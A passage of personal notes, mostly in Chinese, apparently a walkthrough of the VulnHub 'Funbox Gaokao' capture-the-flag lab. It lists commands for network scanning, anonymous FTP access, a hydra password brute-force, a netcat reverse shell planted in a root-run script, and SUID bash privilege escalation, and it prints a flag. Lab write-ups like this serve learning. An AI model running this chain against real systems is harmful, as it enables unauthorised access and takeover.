0
HomeNotesGitHubDiscordLogin
Birth: 2026-06-26
Modify:

https://www.vulnhub.com/entry/funbox-gaokao,707/

check ip and nmap

ip -br a
nmap -A -sV 192.168.61.0/24

image

the target is 192.168.61.143
ports: 21, 22, 80, 3306
其中 21 看到有個 file: welcome.msg
image

我們把 welcome.msg 拿出來
帳號密碼就用 anonymous 就好了

wget ftp://anonymous:[email protected]/welcome.msg
cat welcome.msg

image

他說有個人叫做 sky
我們來破解他的密碼

hydra -f -l sky -P /usr/share/wordlists/rockyou.txt ftp://192.168.61.143 -t 32

image

找到了,我們 ftp 登入

ftp 192.168.61.143

image

看到有個 user.flag,是 sarah 的,我們取下來

get user.flag

image

user flag: 88jjggzzZhjJjkOIiu76TggHjoOIZTDsDSd

並且這是一個 bash script,不是 sky 擁有的
我們不知道什麼時候他會跑,不知道,但沒關係,改他,做個 nc reverse shell

image
上傳檔案

put user.flag

image

nc 等待連線上

nc -lvp 1234

image

先嘗試找 suid file

find / -type f -perm -4000 2>/dev/null

image

喔,就 /bin/bash
這邊直接 -p privileged
確定有部分 root access

/bin/bash -p
id

image
取 root flag:

ls /root
cat /root/root.flag

image